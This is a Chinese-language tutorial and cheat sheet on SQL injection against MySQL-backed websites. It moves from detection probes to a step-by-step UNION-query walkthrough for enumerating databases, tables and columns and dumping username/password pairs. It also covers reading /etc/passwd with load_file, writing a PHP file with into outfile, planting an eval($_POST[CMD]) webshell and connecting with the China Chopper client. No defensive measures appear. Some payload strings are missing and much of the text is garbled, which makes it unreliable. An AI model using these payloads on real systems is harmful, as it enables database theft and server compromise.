Web安全之SQL注入漏洞
本節(jié)知識(shí)點(diǎn)
SQL注入原理
前言
結(jié)構(gòu)化查詢語句(Structured Query Language,縮寫:SQL),是一種特殊的編程語言,用于數(shù)據(jù)庫(kù)中的標(biāo)準(zhǔn)數(shù)據(jù)查詢語言。
SQL注入(SQL Injection)是一種常見的Web安全漏洞,攻擊者利用這個(gè)問題,可以訪問或者修改數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫(kù)漏洞進(jìn)行攻擊。
什么是SQL注入?
SQL注入(Sql Injection)是一種講SQL語句插入或者添加到應(yīng)用(用戶)的輸入?yún)?shù)中的攻擊,之后再將這些參數(shù)傳遞給后臺(tái)的SQL服務(wù)器加以解析并執(zhí)行。
常見的Web架構(gòu)
表示層:Web瀏覽器/呈現(xiàn)引擎---訪問網(wǎng)站
邏輯層:腳本語言:ASP、PHP、JSP、.NET等---加載、編譯并執(zhí)行腳本文件
存儲(chǔ)層:數(shù)據(jù)庫(kù):MSSQL、MYSQL、ORACLE等---執(zhí)行SQL語句
哪里存在SQL注入?
哪里存在SQL注入?
lGET
lPOST
lHTTP頭部注入
lCookie注入
l……
任何客戶端可控,傳遞到服務(wù)器的變量。
漏洞原理
針對(duì)SQL注入的攻擊行為,可描述為通過用戶可控參數(shù)中注入SQL語法,破壞原有的SQL結(jié)構(gòu),達(dá)到編寫程序時(shí)意料之外的結(jié)果的攻擊行為。
其成因可以歸結(jié)為以下兩點(diǎn)原因疊加造成的:
1.程序編寫者再處理程序和數(shù)據(jù)庫(kù)交互的時(shí)候,使用字符拼接的方法構(gòu)造SQL語句
2.未對(duì)用戶可控參數(shù)進(jìn)行足夠的過濾便將參數(shù)內(nèi)容拼接進(jìn)入到SQL語句中
SQL注入危害
漏洞危害
攻擊者利用SQL注入漏洞,可以獲取數(shù)據(jù)庫(kù)中的多種信息(例如:管理員后臺(tái)密碼),從而脫取數(shù)據(jù)庫(kù)中內(nèi)容(脫庫(kù))。在特別情況下,還可以修改數(shù)據(jù)庫(kù)內(nèi)容或者插入內(nèi)容到數(shù)據(jù)庫(kù),如果數(shù)據(jù)庫(kù)權(quán)限分配存在問題,或者數(shù)據(jù)庫(kù)本身存在缺陷,那么攻擊者可以通過SQL注入漏洞直接獲取Webshell或者服務(wù)器系統(tǒng)權(quán)限。
SQL注入分類和利用
SQL注入的分類
根據(jù)SQL數(shù)據(jù)類型分類
整型注入
字符串類型注入
根據(jù)注入的語法分類
UNIONquery SQL injection(可聯(lián)合查詢注入)
Eoor-basedSQL injection(報(bào)錯(cuò)型注入)
Boolean-basedbind SQL injection(布爾型注入)
Time-basedbind SQL injection(基于時(shí)間延遲注入)
Stackedqueries SQL injection(可多語句查詢注入)
如何去判斷SQL注入漏洞?
判斷注入
uand
1=1 / and 1=2回顯頁面不同(整型判斷)
u單引號(hào)’判斷顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁面回顯不同(整型,字符串類型判斷)
u\(轉(zhuǎn)義符)
u-1
/ +1回顯下一個(gè)或者上一個(gè)頁面(整型判斷)
uand
sleep(5) (判斷頁面返回時(shí)間)
SQL注入漏洞的利用
MySQL數(shù)據(jù)庫(kù)的特性
一.MySQL中的3種注釋風(fēng)格
u#
(url編碼為%23)
u--
(--后面要跟上一個(gè)或者多個(gè)空格)
u--+
(+相當(dāng)于空格)
u/*…*/
u/*!...*/
二.MySQL函數(shù)利用
1.常用函數(shù)
luser()---數(shù)據(jù)庫(kù)用戶名
l
mysql>select user();
+----------------+
|user()|
+----------------+
|root@localhost |
+----------------+
1 rowin set (0.00 sec)
ldatabase()---數(shù)據(jù)庫(kù)名
l
mysql>select database();
+------------+
| database()|
+------------+
|security|
+------------+
1 rowin set (0.00 sec)
l@@datadir---數(shù)據(jù)庫(kù)路徑
l
mysql>select @@datadir;
+-----------------------+
|@@datadir|
+-----------------------+
|C:\server\mysql\data\ |
+-----------------------+
1 rowin set (0.00 sec)
l@@version_compile_os---操作系統(tǒng)版本
l
mysql>select @@version_compile_os;
+----------------------+
|@@version_compile_os |
+----------------------+
|Win64|
+----------------------+
1 rowin set (0.00 sec)
lversion()---MySQL數(shù)據(jù)庫(kù)版本
l
mysql>select version();
+-----------+
|version() |
+-----------+
|5.7.16|
+-----------+
1 rowin set (0.04 sec)
l@@version---MySQL數(shù)據(jù)庫(kù)版本
l
mysql>select @@version;
+-----------+
|@@version |
+-----------+
|5.7.16|
+-----------+
1 rowin set (0.00 sec)
2.load_file()函數(shù)讀取文件操作
前提:
l知道文件的絕對(duì)路徑
l能夠使用union查詢
l對(duì)web目錄有寫的權(quán)限
UNION SELECT1,load_file('/etc/passwd’),3,4,5#
0x2f6574632f706173737764
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5#
路徑?jīng)]有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
3.into
outfile ‘路徑’寫入文件操作
前提:
l文件名必須是全路徑(絕對(duì)路徑)
l用戶必須有寫文件的權(quán)限
l沒有對(duì)單引號(hào)’過濾
SELECT ‘’ intooutfile ‘C:\\Windows\\tmp\\1.php’
SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
路徑里面兩個(gè)反斜杠\\可以換成一個(gè)正斜杠/
PHP語句沒有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
后面路徑的單引號(hào)不能省略
或者
建議一句話PHP語句轉(zhuǎn)換成十六進(jìn)制
4.連接字符串函數(shù)
lConcat(str1,str2)---沒有分隔符的連接字符串
l
mysql>select concat('1234','5678');
+-----------------------+
|concat('1234','5678') |
+-----------------------+
|12345678|
+-----------------------+
1 rowin set (0.03 sec)
lconcat_ws(separator,str1,str2)---含有分隔符的連接字符串
l
mysql>select concat_ws(0x7e,'1234','5678');
+-------------------------------+
|concat_ws(0x7e,'1234','5678') |
+-------------------------------+
|1234~5678|
+-------------------------------+
1 rowin set (0.04 sec)
lgroup_concat(str1,str2)---連接一個(gè)組的所有字符串,并且以逗號(hào)分割每一條數(shù)據(jù)
l
mysql>select group_concat('1234','5678');
+-----------------------------+
|group_concat('1234','5678') |
+-----------------------------+
|12345678|
+-----------------------------+
1 rowin set (0.07 sec)
三.MySQL中information_schema數(shù)據(jù)庫(kù)
mysql>show tables;
+---------------------------------------+
|Tables_in_information_schema|
+---------------------------------------+
|COLUMNS|
|SCHEMATA|
|TABLES|
+---------------------------------------+
SCHEMATA表
字段:SCHEMA_NAME schema_name存放的是數(shù)據(jù)庫(kù)名稱
mysql> desc schemata;
+----------------------------+--------------+------+-----+---------+-------+
| Field| Type| Null | Key | Default | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| SCHEMA_NAME| varchar(64)| NO||||
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.11 sec)
TABLES表
字段:TABLE_SCHEMA,TABLE_NAMEtable_schema,table_name
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field| Type| Null | Key | Default | Extra|
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_SCHEMA| varchar(64)| NO||||
| TABLE_NAME| varchar(64)| NO||||
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
COLUMNS表
字段:TABLE_SCHEMA,TABLE_NAME,COLUMN_NAMEtable_schema,table_name,column_name
mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+------
| Field| Type| Null | Key | Default | Extra
|
+--------------------------+---------------------+------+-----+---------+------
| TABLE_SCHEMA| varchar(64)| NO|||
|
| TABLE_NAME| varchar(64)| NO|||
|
| COLUMN_NAME| varchar(64)| NO|||
+--------------------------+---------------------+------+-----+---------+------
四.MySQL中UNION規(guī)則
lUNION必須由兩條或者兩條以上的SELECT語句組成,語句之間關(guān)鍵字用UNION分隔
lUNION中的查詢必須含有相同的列
lUNION會(huì)從查詢結(jié)果中集中自動(dòng)取出重復(fù)行
SQL注入挖掘以及防御
UNION query SQL injection
利用前提:頁面上有顯示位
優(yōu)點(diǎn):方便、快捷、易于利用
缺點(diǎn):需要顯示位
0x001判斷是否存在SQL注入,同時(shí)判斷注入類型:整型注入還是字符串注入
判斷注入
uand
1=1 / and 1=2回顯頁面不同(整型判斷)
u單引號(hào)’判斷顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁面回顯不同(整型,字符串類型判斷)
u\(轉(zhuǎn)義符)
u-1
/ +1回顯下一個(gè)或者上一個(gè)頁面(整型判斷)
uand
sleep(5) (判斷頁面返回時(shí)間)
0x002判斷顯示位長(zhǎng)度,判斷列數(shù)(二分法)
orderby 10
orderby 20
orderby 15
……
0x003判斷查找顯示位,UNION聯(lián)合查詢
unionselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
0x004查找獲取當(dāng)前所用的數(shù)據(jù)庫(kù)用戶名,數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)路徑,操作系統(tǒng)版本,MySQL版本
user()---數(shù)據(jù)庫(kù)用戶名
database()---數(shù)據(jù)庫(kù)名
@@datadir---數(shù)據(jù)庫(kù)路徑
@@version_compile_os---操作系統(tǒng)版本
version()---MySQL數(shù)據(jù)庫(kù)版本
@@version---MySQL數(shù)據(jù)庫(kù)版本
0x005查找列出所有的數(shù)據(jù)庫(kù)名稱
limit一個(gè)一個(gè)打印出來數(shù)據(jù)庫(kù)名字
selectconcat(schema_name) from information_schema.schemata limit 0,1
group_concat一次性全部顯示
selectgroup_concat(schema_name) from information_schema.schemata
0x006查找列出所有的表名
limit一個(gè)一個(gè)打印出來表名
select
concat(table_name) from information_schema.tables where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) limit 0,1
group_concat一次性全部顯示
select
group_concat(table_name) from information_schema.tables where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制)
0x007查找列出所有的字段
limit一個(gè)一個(gè)打印出來字段
select
concat(column_name) from information_schema.columns where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) and table_name=0x(表名轉(zhuǎn)十六進(jìn)制) limit 0,1
group_concat一次性全部顯示
select group_concat(column_name)
from information_schema.columns where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) and table_name=0x(表名轉(zhuǎn)十六進(jìn)制)
0x008查找列出所有需要的數(shù)據(jù)
limit一個(gè)一個(gè)打印出來數(shù)據(jù)
select
concat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名limit 0,1
group_concat一次性全部顯示
select
group_concat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名
0x009 load_file()讀取文件操作
前提:
l知道文件的絕對(duì)路徑
l能夠使用union查詢
l對(duì)web目錄有寫的權(quán)限
UNION SELECT1,load_file('/etc/passwd’),3,4,5#
0x2f6574632f706173737764
UNION SELECT1,load_file(0x2f6574632f706173737764),3,4,5#
路徑?jīng)]有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
0x010 into outfile寫入文件操作
前提:
l文件名必須是全路徑(絕對(duì)路徑)
l用戶必須有寫文件的權(quán)限
l沒有對(duì)單引號(hào)’過濾
SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
路徑里面兩個(gè)反斜杠\\可以換成一個(gè)正斜杠/
PHP語句沒有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制
后面路徑的單引號(hào)不能省略
eval($_POST[CMD]); ?>或者
建議一句話PHP語句轉(zhuǎn)換成十六進(jìn)制
0x011一句話木馬
eval($_POST[CMD]); ?>或者
0x012菜刀連接
武功再高,也怕菜刀,中國(guó)菜刀,就是屌
SQL注入U(xiǎn)NION聯(lián)合查詢類型手札
0x001判斷是否存在SQL注入,同時(shí)判斷注入類型:整型注入還是字符串型注入
and 1=1 / and 1=2回顯頁面不同(整型判斷)
單引號(hào)'顯示數(shù)據(jù)庫(kù)錯(cuò)誤或者頁面回顯不同(整型、字符串類型判斷)
\轉(zhuǎn)義符
-1 / +1回顯下一頁或上一頁(整型判斷)
and sleep(5)判斷頁面返回時(shí)間
0x002判斷顯示位長(zhǎng)度,判斷列數(shù)(二分法)
order by 10
order by 20
order by 15
0x003判斷查找顯示位,UNION聯(lián)合查詢
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
0x004查找獲取當(dāng)前所用的數(shù)據(jù)庫(kù)用戶名,數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)路徑,操作系統(tǒng)版本,MySQL版本
user()---數(shù)據(jù)庫(kù)用戶名
database()---數(shù)據(jù)庫(kù)名
@@datadir---數(shù)據(jù)庫(kù)路徑
@@version_compile_os---操作系統(tǒng)版本
version()---MySQL版本
0x005查找列出所有數(shù)據(jù)庫(kù)名稱、表名
數(shù)據(jù)庫(kù):
selectconcat(schema_name) from information_schema.schemata limit 0,1
selectgroup_concat(schema_name) from information_schema.schemata
表名:
selectconcat(table_name) from information_schema.tables where table_schema = 0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) limit 0,1
selectgroup_concat(table_name) from information_schema.tables where table_schema =0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制)
0x006查找列出所有的字段
select concat(column_name)from information_schema.columns where table_schema = 0x(數(shù)據(jù)庫(kù)名字轉(zhuǎn)十六進(jìn)制) and table_name = 0x(表名轉(zhuǎn)十六進(jìn)制) limit 0,1
selectgroup_concat(column_name) from information_schema.columns where table_schema =0x(數(shù)據(jù)庫(kù)名字轉(zhuǎn)十六進(jìn)制) and
table_name = 0x(表名轉(zhuǎn)十六進(jìn)制)
0x007查找列出所有需要的數(shù)據(jù)
selectconcat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名limit 0,1
selectgroup_concat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名
0x008 load_file()讀取文件操作
load_file('/etc/passwd')
load_file(0x2f6574632f706173737764)
0x009 into outfile寫入文件操作
''into outfile'C:\\Windows\\tmp\\1.php'
0x010一句話木馬
''
''
''
''
''
0x011菜刀連接
武功再高,也怕菜刀,中國(guó)菜刀,就是叼